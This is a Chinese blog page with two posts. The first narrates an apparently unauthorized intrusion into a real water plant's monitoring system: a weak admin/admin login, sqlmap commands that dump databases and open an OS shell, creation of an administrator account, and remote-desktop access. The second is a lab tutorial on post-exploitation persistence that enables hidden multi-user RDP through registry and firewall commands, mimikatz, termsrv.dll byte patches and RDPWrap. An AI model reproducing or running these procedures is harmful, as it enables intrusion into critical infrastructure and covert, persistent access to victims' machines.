The result of tag: (2 results)

记一次对内蒙古某市某水厂监控系统的渗透测试过程

by LauCyun Sep 29,2018 15:52:45 10,450 views

最近,在协助内蒙某院收集内蒙全境的工控设备信息,在一次收集的时候,发现某市某水厂的监控系统存在弱口令问题,从而展开本次的渗透测试工作。

本文将介绍如何利用SQL注入点拿到服务器的Shell,然后通过远程桌面远程进入服务器的渗透过程。

0x0 背景

目标:http://*.*.*.*:8080(防止被他人利用,打上万恶的马赛克Face with Stuck-Out Tongue and Closed EyesFace with Hand over Mouth

通过程序自动挖掘发现http://*.*.*.*:8080存在弱口令,如图1所示:


图1 登录界面

用户名是admin,密码也是admin

进入系统后,可以直观的看到该水厂的水源井、水厂的工作现场运行状态,如图2、图3所示:


图2 水源井的模拟现场


图3 水厂的模拟现场

也可以看到仪表、GPRS、PLC等设备信息及通讯通道信息。。。如图4所示:


图4 通讯通道信息

好了,开始我们的正题吧,随便点击就发现一个疑似SQL注入点,如下所示:

http://*.*.*.*:8080/map/mapshow1.aspx?id=1

0x1 验证SQL注入点

接着,使用SQLMap对疑似注入点进行测试,输入如下命令:

python sqlmap.py -u "http://*.*.*.*:8080/map/mapshow1.aspx?id=1" --cookie "LoginUserName=admin; ChinaName=管理员; ASP.NET_SessionId=smgjif450cenxrr3iczfnuqd"


图5 SQL注入点

测试完毕后,如图5所示,SQLMap提示GET中的id参数存在注入,并且有4种注入方式,分别是基于布尔的盲注(boolean-based blind)、基于报错注入(error-based)、堆查询注入(stacked queries)和联合查询注入(UNION query)。

同时也得知以下信息:

数据库版本:Microsoft SQL Server 2008

中间件版本:Microsoft IIS 7.5

服务器版本:Windows 2008 R2 or 7

生产环境:ASP.NET, ASP.NET 2.0.50727

0x2 列举数据库

如图5所示,SQLMap验证了该SQL注入点确实存在,那么我们先列出所有的数据库,运行如下命令:

python sqlmap.py -u "http://*.*.*.*:8080/map/mapshow1.aspx?id=1" --cookie "LoginUserName=admin; ChinaName=管理员; ASP.NET_SessionId=smgjif450cenxrr3iczfnuqd" --dbs

如图6所示,共有7个数据库,其中mastermodeltempdbmsdb是SQL Server的默认数据库。


图6 有效的数据库

通过--current-db也确认了数据库TSLL2016是我们感兴趣的点。。。

接着,需要知道数据库TSLL2016中都有哪些表,为了弄清这些信息,运行如下命令:

python sqlmap.py -u "http://*.*.*.*:8080/map/mapshow1.aspx?id=1" --cookie "LoginUserName=admin; ChinaName=管理员; ASP.NET_SessionId=smgjif450cenxrr3iczfnuqd" -D TSLL2016 --tables

发现这个数据库有43张表,如图7所示:


图7 数据库表

显而易见,有用的地方主要在表S_User中,这张表中可能包含着数据库的用户名和密码之类的信息。。。

但是,读取数据库TSLL2016中表S_User的数据后,并没啥用SkullSkullSkull

0x3 Get Shell

首先,确定一下当前用户是否是DBA权限,运行如下命令:

python sqlmap.py -u "http://*.*.*.*:8080/map/mapshow1.aspx?id=1" --cookie "LoginUserName=admin; ChinaName=管理员; ASP.NET_SessionId=smgjif450cenxrr3iczfnuqd" -D TSLL2016 --is-dba

Victory HandHundred Points当前用户是DBA权限,运行结果如图8所示:


图8 判断是否为DBA

接下来,运行如下命令:

python sqlmap.py -u "http://*.*.*.*:8080/map/mapshow1.aspx?id=1" --cookie "LoginUserName=admin; ChinaName=管理员; ASP.NET_SessionId=smgjif450cenxrr3iczfnuqd" -D TSLL2016 --os-shell

如图9所示:


图9 运行os-shell

本来想往服务器写入shell,但是写入失败了。。。

接着,尝试着新建用户,如图10所示:


图10 新建用户并提权

哈哈哈。。。说明该数据库运行的权限非常大啊。。。连创建用户和提权至administrators权限都一气呵成Cat Face with Tears of JoyCat Face with Tears of JoyCat Face with Tears of Joy

接着,查询远程桌面服务是否开启,结果它已开启。

如果未开启可参考:实现Windows系统(非服务器版)多用户登录远程桌面的方案

通过nmap也可验证,3389端口是否可达,如图11所示:


图11 开放端口情况

然后通过远程桌面,连接到服务器上,如图12所示:


图12 远程桌面

擦,难怪写入shell失败啊,原来是装了电脑管家啊Broken HeartBroken HeartBroken Heart

好吧,渗透就到这为止吧,写我的渗透报告去了,同时祝大家国庆节快乐Red HeartRed HeartRed Heart

下回再见,拜拜Waving HandWaving HandWaving Hand

0x4 参考

...

Tags Read More


实现Windows系统(非服务器版)多用户登录远程桌面的方案

by LauCyun Jun 28,2018 16:30:23 54,156 views

在渗透测试中,经常会接触Windows服务器的远程桌面服务,通过界面对服务器进行管理。而对于普通的Windows系统,在某些条件下也需要进行界面操作。

虽然我们可以通过编写程序来实现界面操作(捕获桌面信息、压缩传输、发送鼠标键盘消息等),但是如果能够使用远程桌面服务,岂不是更加方便高效。本文将分析Windows系统(非服务器版)多用户登录远程桌面的解决方案。

本文中涉及Kali Linux的Metasploit操作靶机,都是基于攻击机利用MS17-010漏洞渗透进靶机。

0x00 实验环境

攻击机:

  • 系统:Kali Linux
  • IP地址:192.168.0.112
  • 工具:
    • Metasploit
    • nmap

靶机:

  • 系统:Windows 7 sp1 x64
  • IP地址:192.168.0.152

工具:

0x01 如何开启远程桌面服务

1 查询远程桌面服务开启状态

查询系统是否开启远程桌面服务,命令如下:

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

执行结果如图1所示:


图1 远程桌面服务状态

如果fDenyTSConnections的值为0x1则表示关闭;0x0表示开启。

2 查询远程桌面服务端口号

查询远程桌面服务端口号,命令如下:

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber

查询结果如图2所示:


图2 远程桌面服务端口号

端口格式为16进制,0xd3d转换为十进制是3389

3 开启远程桌面服务

如果远程桌面服务关闭的话,则需要开启,命令如下:

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f

或者,通过导入reg文件(导入命令为regedit /s 1.reg),文件内容如下:

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
"fDenyTSConnections"=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]
"PortNumber"=dword:00000d3d

执行结果如图3所示:


图3 开启远程桌面服务

如果系统未配置过远程桌面服务,第一次开启时还需要添加防火墙规则允许3389端口,如图4所示:


图4 启用远程桌面Windows防火墙例外

修改防火墙配置,允许3389端口的命令如下:

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

4 远程桌面连接方法

  • Kali Linux:
    rdesktop 192.168.0.152:3389
    
  • Windows:
    mstsc.exe

0x02 Windows只允许单用户登录(非服务器版本)

远程登录时,如果使用与系统相同的登录账户(Administrator),系统将被切换到登录界面,如图5所示:


图5 系统将被切换到登录界面

如果使用不同的账户,登录时则提示其他用户已登录到此计算机,如6所示:


图6 登录提示

选择继续后,系统桌面将弹框提示是否断开当前连接(30秒后默认选择同意,退回到登录界面),如图7所示:


图7 系统连接确认界面

这种现象在渗透测试中肯定是很容易被电脑使用者发现,所以就要解决这个问题。

0x03 Windows 多用户登录的方法(非服务器版本)

为了解决Windows非服务器版系统多用户同时登录的问题,下面给出了3种方法:方法1和方法2都是修改termsrv.dll;方法3是通过注入rdpwrap.dlltermsrv.dll所在进程。

1  Mimikatz

Mimikatz是由C编写的开源小工具,功能非常强大。它支持从Windows系统内存中提取明文密码、哈希、PIN码和Kerberos凭证,以及pass-the-hash、pass-the-ticket、build Golden tickets等数种黑客技术。

Mimikatz分为x64和Win32两个版本,x64最高支持Windows 10 1083,Win32最高支持Windows 8.1。

直接通过运行命令即可安装补丁,命令如下:

privilege::debug
ts::multirdp

如图8所示就表示安装成功。


图8 安装Mimikatz补丁

使用不同的账户(hacker)即可登录成功,如图9所示:


图9 多用户登录成功

不足之处,该方法在系统重启后会失效。

2 修改termsrv.dll

上面,通过Mimikatz安装补丁的方法在系统重启后就失效,那有啥方法使其重启依然有效呢?

通过查看Mimikatz的源码,在modules/kuhl_m_ts.c中找到修改方法:

由于Windows在开启远程桌面服务服务时,会加载termsrv.dll,如下图10所示:


图10 加载的termsrv.dll

所以,通过修改termsrv.dll即可实现多用户登录,具体操作如下:

  • x64
    • Windows NT 6.0:
      查找:
      8B 81 38 06 00 00 39 81 3C 06 00 00 75
      替换为:
      C7 81 3C 06 00 00 FF FF FF 7F 90 90 EB
    • Windows NT 6.x:
      查找:
      39 87 3C 06 00 00 0F 84
      替换为:
      C7 87 3C 06 00 00 FF FF FF 7F 90 90 
    • Windows 8.1:
      查找:
      39 81 3C 06 00 00 0F 84
      替换为:
      C7 81 3C 06 00 00 FF FF FF 7F 90 90 
    • Windows 10 1803:
      查找:
      8B 99 3C 06 00 00 8B B9 38 06 00 00 3B DF 0F 84
      替换为:
      C7 81 3C 06 00 00 FF FF FF 7F 90 90 90 90 90 E9
  • x86

上面Windows NT对应的系统版本,请参考:https://en.wikipedia.org/wiki/Microsoft_Windows#Timeline_of_releases

接着,使用CFF Explorer打开C:\windows\system32\termsrv.dll,选择Hex Editor,然后查找39873C0600000F84,如图11所示:


图11 CFF Explorer查找39873C0600000F84

从图11得知,0x000173C6即为39873C0600000F84的起始位置。

0x000173C6处开始,选中12字节,替换为C7873C060000FFFFFF7F9090,替换后保存dll。如图12所示:


图12 修改termsrv.dll

接着,替换termsrv.dll(需要先停止远程桌面服务才能替换),替换termsrv.dll后,重新开启服务TermService。过程如下:

  • 查看远程桌面服务服务状态:
    sc qc TermService
    
  • 如果远程桌面服务服务启动,则需要先关闭:
    net stop TermService /y
    
  • 删除原termsrv.dll
    del c:\windows\system32\termsrv.dll
    
  • 替换新termsrv.dll
  • 启动服务
    net start TermService
    

Ok,通过修改termsrv.dll的方法,重启后也依然有效。

但是,这种方法比较麻烦,而且每个版本修改termsrv.dll的位置和内容都不一样。

3  RDPWrap

RDPWrap是恢复远程桌面服务被阉割的功能,  适用于Windows Vista 、7、8、8.1、10 。官方的介绍如下:

The goal of this project is to enable Remote Desktop Host support and concurrent RDP sessions on reduced functionality systems for home usage.

RDP Wrapper works as a layer between Service Control Manager and Terminal Services, so the original termsrv.dll file remains untouched. Also this method is very strong against Windows Update.

在kali中解压RDPWrap-v1.6.2.zip,其中解压后的文件有:

File name Description
RDPWInst.exe RDP Wrapper Library installer/uninstaller
RDPCheck.exe Local RDP Checker (you can check the RDP is working)
RDPConf.exe RDP Wrapper Configuration
install.bat Quick install batch file
uninstall.bat Quick uninstall batch file
update.bat Quick update batch file

将解压后的文件上传到靶机中,如图13所示:


图13 上传RDPWrap至靶机

接着,就是运行install.bat进行安装RDPWrap,如图14所示:


图14 安装RDPWrap

释放rdpwrap.dllrdpwrap.iniC:\Program Files\RDP Wrapper文件夹,rdpwrap.dll会被加载到同termsrv.dll相同的进程,如图15所示:


图15 rdpwrap.dll会被加载到termsrv.dll相同的进程

同样也可以在靶机中,运行RDPConfig.exe,看到Diagnostics后面都是绿色的,并且Listener state是Listening [fully supported],如图16所示:


图16 RDPWrap配置信息

此时,能够使用不同用户进行远程连接。

0x04 总结

本文介绍了三种支持远程桌面多用户登录的方法,适用于不同条件,对于替换termsrv.dll的方法,需要根据系统具体版本,使用不同的替换位置。最方便、最快捷的方法是安装RDPWrap。

0x05 参考

...

Tags Read More